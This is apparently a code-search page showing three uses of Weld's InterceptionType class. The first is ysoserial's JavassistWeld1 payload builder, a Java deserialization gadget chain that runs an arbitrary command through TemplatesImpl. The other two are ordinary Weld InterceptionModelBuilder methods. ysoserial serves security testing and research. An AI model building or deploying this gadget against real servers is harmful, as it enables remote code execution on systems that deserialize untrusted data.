use of org.jboss.weld.interceptor.spi.model.InterceptionType in project ysoserial by frohoff.
the class JavassistWeld1 method getObject.
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
use of org.jboss.weld.interceptor.spi.model.InterceptionType in project core by weld.
the class InterceptionModelBuilder method interceptGlobal.
public void interceptGlobal(javax.enterprise.inject.spi.InterceptionType interceptionType, Constructor<?> constructor, Collection<InterceptorClassMetadata<?>> interceptors, Set<Annotation> interceptorBindings) {
checkModelNotBuilt();
InterceptionType weldInterceptionType = InterceptionType.valueOf(interceptionType);
List<InterceptorClassMetadata<?>> interceptorsList = globalInterceptors.get(weldInterceptionType);
if (interceptorsList == null) {
interceptorsList = new ArrayList<>();
globalInterceptors.put(weldInterceptionType, interceptorsList);
}
interceptorsList.addAll(interceptors);
intercept(weldInterceptionType, interceptors);
if (constructor != null) {
// WELD-1742 Associate constructor interceptor bindings
memberInterceptorBindings.put(constructor, interceptorBindings);
}
}
use of org.jboss.weld.interceptor.spi.model.InterceptionType in project core by weld.
the class InterceptionModelBuilder method interceptMethod.
public void interceptMethod(javax.enterprise.inject.spi.InterceptionType interceptionType, Method method, Collection<InterceptorClassMetadata<?>> interceptors, Set<Annotation> interceptorBindings) {
checkModelNotBuilt();
InterceptionType weldInterceptionType = InterceptionType.valueOf(interceptionType);
if (weldInterceptionType.isLifecycleCallback()) {
throw new IllegalArgumentException("Illegal interception type: " + interceptionType);
}
if (null == methodBoundInterceptors.get(weldInterceptionType)) {
methodBoundInterceptors.put(weldInterceptionType, new HashMap<>());
}
List<InterceptorClassMetadata<?>> interceptorsList = methodBoundInterceptors.get(weldInterceptionType).get(method);
if (interceptorsList == null) {
interceptorsList = new ArrayList<>();
methodBoundInterceptors.get(weldInterceptionType).put(method, interceptorsList);
}
interceptorsList.addAll(interceptors);
intercept(weldInterceptionType, interceptors);
if (interceptorBindings != null) {
// WELD-1742 Associate method interceptor bindings
memberInterceptorBindings.put(method, interceptorBindings);
}
}
Aggregations